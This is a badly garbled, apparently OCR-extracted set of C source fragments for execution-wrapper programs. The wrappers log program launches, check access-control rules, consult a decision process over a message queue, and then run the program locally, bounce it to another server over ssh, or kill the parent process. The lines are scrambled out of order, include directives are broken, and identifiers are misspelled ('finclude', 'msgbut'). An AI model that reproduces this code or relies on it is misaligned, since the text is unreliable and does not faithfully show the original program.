                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sufp = fopen(SU_FILE, "w");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          fclose(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (! sufp)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sufp = fopen(SU_FILE, "r");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     int count;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             FILE *sufp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     reverse(s);
                                                                                                                                                                                                                                                                                                         return 3;
                                                                                                                                                                                                                                                                                                                               //execve(command, argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                              return -1;
                                                                                                                                                                           if (! sufp)
                                                                                          return -1;
                                                                                                                                                printf("Can't open for writing\n");
                                                                                                                                                                                                                                                                                                                                                        f (count >= 3) {
                                                                                                                        fclose(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           characters in s.*/
```

```
error\n");)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                filename = argv[argc];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         argc -= 1;
                                                                      #include
                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      else {int err;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #include <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    void reset_count() {
                                               #include
                                                                                                #include <unistd.h>
                                                                                                                        #include
                                                                                                                                                                                                                        return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* Argv: arguments to the original call & the original
Envp: environment strings from the original call */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include "log.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #include <stdio.h>
                     #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          finclude "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           include <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     finclude
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              include <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               // # File wrapAC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         ****
                                                                                                                                                                     // # File wrapBrain.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           * Resets the "su"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           / Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       fp = fopen(SU_FILE, "w");
if (fp) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               putc(0, fp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          FILE *fp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                fclose(fp);
                                                                                                                                                                                                                                                                                                                                                    perror("DTK");
                                                                                                                                                                                                                                                                                                                                                                            else {exit(1);}
                                                                                                                                                                                                                                                                         return(-errno);
                                                                                                                                                                                                                                                                                                 fflush(stderr);fflush(stdout);
                                                                                                                                                                                                                                                                                                                                                                                                                             if (1 == ACallowed(filename))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              depth = 1;
                                                                                                                                                                                                                                                                                                                        fprintf(stderr, "error: %d,%d\n", err, errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                    log(LOG_FILE, filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                                                                                 (err = execve(filename, argv, envp);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1;
<errno.h>
                                                                      <syscall.h>
                                                                                                                      <string.h>
                                                                                                                                               <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "AC.c"
                       <ctype.h>
                                               <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         count to 0.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct msgbuf qmsg;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #define _MSG_SIZE_ 255
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include<sys/msg.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         int32_t qid=-1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct msgbut
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         #include<signal.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #include<sys/ipc.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            {printf("Wrapping error\n");}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include<sys/types.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           finclude "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Envp: environment strings from the original call */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            Argv: arguments to the original call & the original filename
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          char mtext[_MSG_SIZE_];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int32_t opcode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       (char * filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 argv[argc] = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        argc -= 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (! strncmp(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              filename = argv[argc];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            msgrcv(qid, &qmsg, sizeof(struct msgbuf), getpid(), 0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sprintf(qmsg.mtext, "%d %s", getppid(), filename);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       qid=msgget((key_t) (12345),
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     qmsg.opcode=getpid();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          qmsg.mtype=1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(qid==-1) return(-1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if(msgsnd(qid, &qmsg, sizeof(struct msgbuf),IPC_NOWAIT)==-1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          {perror("bad send");return -1;}
                                                                                                                                                                                                                                                                       return qmsg.opcode;
else if (qmsg.opcode<-256) {</pre>
                                                                                                                                                                                                                                                                                                                                                                              else if ((qmsg.opcode <
                                                                                                                                                                                                                                                                                                                                                                            err = execve(filename, argv, envp);
else if ((qmsg.opcode < 0) && (qmsg.
                                                                                                                                                                                                                                                                                                                                                                                                                                                      (qmsg.opcode == 0) {
                       newargv[1]=qmsg.mtext;
                                                 newargv[0]="ssh";
                                                                                                                          strcat(s, ";");
                                                                                                                                               getcwd(s+3, 1020);
                                                                                                                                                                         sprintf(s, "cd ");
                                                                                                                                                                                                char s[1024];
                                                                                                                                                                                                                            char* newargv[1024];
 newargv[2]=s;
                                                                                                                                                                                                                                                                                                                          fprintf(stderr, "%s\n", qmsg.mtext);
                                                                                                                                                                                                                                                                                                                                                      //print string
                                                                                                for(qid=0;qid<argc;qid++)
                                                                                                                                                                                                                                                    //bounce to another server,
                                                                                                                                                                                                                                                                                                                                                                                                                               //execute the program
                                                                      (strcat(s, " ");strcat(s, argv[qid]);)
                                                                                                                                                                                                                                                                                                 qmsg.opcode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       WRAPPER, strlen(WRAPPER)))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             9
                                                                                                                                                                                                                                                  and run the program there
                                                                                                                                                                                                                                                                                                                                                                            (qmsg.opcode
                                                                                                                                                                                                                                                                                                                                                                                  ĭ
                                                                                                                                                                                                                                                                                                                                                                            -255)) {
```

```
GETWDERRMSG); exit(1);
                                                                                                   WAITERRMSG); exit(1);}
                                                                                                                                                   PIPEERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (! strncmp(filename, WRAPPER, strlen(WRAPPER))) (printf("Wrapping
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 argc -= 1;filename = argv[argc];argv[argc] = NULL;
                                                                                                                                                                                                                            FORKERRMSG); exit(1);}
                                                                                                                                                                                                                                                                                                 filename);
                                                                                                                                                                                                                                                                                                                                                                        execve(filename, argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 error\n");}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #include "D.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        // Strip the original filename from the args array
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  // # File wrapD.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // Wrapping the wrapper could lead to an infinite loop
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (char *filename;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           ^{\prime \star} Argv: arguments to the original call & the original filename ^{\star\prime}
     execve(filename
                                                                                                                                                                                                                                                                                                                                                                                                                                            err = pllog(filename, argc, argv);
                                                                                                                                                                                                                                                                                                                                                                                                                          switch (err)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printf("Houston, we have a problem!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return
                                                                        case GETWDERR: (LOGIT("-W-");printf("%s\n"
                                                                                                                                                                                              case FDERR: {LOGIT("-D-");printf("%s\n", FDERRMSG);exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        {int err;
                                                                                                                                                                            case PIPEERR:
                                                                                                                                                                                                                                                     case FORKERR:
                            case NOLOGERR:
                                                                                                                            case WAITERR:
                                                                                                                                                                                                                                                                                                                                                                                            (case 1: case 0: (if (Dallowed(pathname) == 1) err
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           "PL.c"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    perror("Exec Failed");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printf("exiting:%d\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fflush(stdout);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return(-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    fflush(stderr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else if (qmsg.opcode == 255)
                                                                                                                                                                                                                                                                      fflush(stderr); fflush(stdout); return(-errno);)
                                                                                                                                                                                                                                                                                                                                            LOGIT("-X-");perror("Exec failed");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    err = execve("/usr/local/bin/ssh", newargv, envp);
                                                                                                                                                                                                                                                                                                                        fprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                kill(getppid(), SIGTERM);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                newargv[3]=NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           //kill, kill, KILL!!!
                                                                                                                                                                                                                                               {LOGIT("-F-");printf("%s\n"
                     (LOGIT("-L-"); if (getpid() < SYSPROCTHRESH) (err
                                                                                                                                                                        (LOGIT("-P-");printf("%s\n",
                                                                                                                        (LOGIT("-S-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         "error:
                                                                                                                                                                                                                                                                                                                        "error:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  -errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    %d,%d\n", err, errno);
                                                                                                                                                                                                                                                                                                                     %d, %d '%s'\n",
                                                                                                                                                                                                                                                                                                                      err,
                                                                                                                                                                                                                                                                                                                        errno,
                                                                                                                                                                                                                                                                                                                                                                                                                     =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       err);perror("Ouch!!!");exit(1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      NOMEMERRMSG); exit(1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           argv, envp);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int32_t qid=-1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct msgbuf
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #define _MSG_SIZE_ 255
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include <stdlib.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #include <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               #include<sys/ipc.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include <string.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               include "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        include <errno.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      finclude <unistd.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         finclude <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             // # File wrapIPC.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      include<sys/msg.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               char mtext[_MSG_SIZE_];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      int32_t opcode;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int mtype;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         default: {LOGIT("-0-");printf("Process Error %d\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         case NOMEMERR: {LOGIT("-M-");printf("%s\n"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               <ctype.h>
                                                                                                                                                                                                                                                                   else if(qmsg.opcode>0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             sprintf(qmsg.mtext, "%d %s", getppid(), filename);
                                                                                                                                                                                                                                                                                                                                                                                                               msgrcv(qid, &qmsg, sizeof(struct msgbuf), getpid(), 0);
printf("%d %d %s", qmsg.mtype, qmsg.opcode, qmsg.mtext)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          qmsg.opcode=getpid();
                                                                                                                                                                                                                                                                                                                                                                                            if(qmsg.opcode<0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if(msgsnd(qid, &qmsg, sizeof(struct msgbuf),IPC_NOWAIT)==-1)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //memcpy(qmsg.mtext, "Hello World",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                   //printf("Recving");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            //(perror("bad send");return(-1);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 [perror("bad send");return -1;]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   //printf("Sending");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    printf("%s\n", NOLOGERRMSG);exit(1);)
                                                                                                                                                                                               char s[1024];
                                                                                                                                                                                                                      char* newargv[1024];
                                                                                                                                                                                                                                                                                                                     return -qmsg.opcode;
                                                                                                                                                                                                                                                                                                                                          fprintf(stderr, "%s\n",
                                                                                                                                                                     switch(qmsg.opcode)
                                                                                               `; //--help
                                                                     break;
                                                                                                                       case 1 :
                                               case 2 :
break;
                       //--help
                                                                                                                                                                                                                                                                                                                                          qmsg.mtext)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          _MSG_SIZE_);
                                                                                                                                                                                                                                                                                                                                                                                                                   qmsg.mtext);
```

```
argc -= 1; filename = argv[argc]; argv[argc] = NULL; // Strip the
                                     the args array
                                                               original filename
                                                                                                                                                                                                                                                                                                                                      #include <string.h>
                 // Wrapping the wrapper could lead to an infinite loop
                                                                                                         {char * filename;
                                                                                                                             int main(int argc, char *argv[], char *envp[])
                                                                                                                                                                                                                                                                                      #include
                                                                                                                                                                                                                                                                                                             #include <unistd.h>
                                                                                                                                                                                                                                                                                                                                                           #include <stdio.h>
                                                                                                                                                                                                                                                                                                                                                                                // # File wraplog.c
                                                                                                                                                  /* Argv: arguments to the original call & the original filename
                                                                                                                                                                                                                       #include
                                                                                                                                                                                                                                            #include
                                                                                                                                                                                                                                                                   #include <stdlib.h>
                                                                                                                                                                          include "log.c"
                                                                                                                                                                                                include
                                                                                                                                                                                                                                                                                                                                                                                                                                               printf("Houston, we have a problem!\n");
                                                                                                                                                                                                                                                                                                                                                                                                                            return -1;
                                                                                                                                                                                                                                                                                 <syscall.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             else
                                                                                                                                                                                                                 <errno.h>
                                                                                                                                                                                                                                          <ctype.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printf("exiting:%d\n",
                                                                                                                                                                                              "wrapper.h"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return(-errno);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fflush(stdout);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          perror("Exec Failed");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  fflush(stderr);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 //printf("Execing");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       Eprintf(stderr,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       err = execve(filename,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    default :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  case 3:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       case 42 :
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           case 4
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //ssh
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //blahblahblah
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                err = execve(filename, argv, envp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   newargv[0]="ssh";
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             getcwd(s+3, 1020);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  newargv[2]=s;
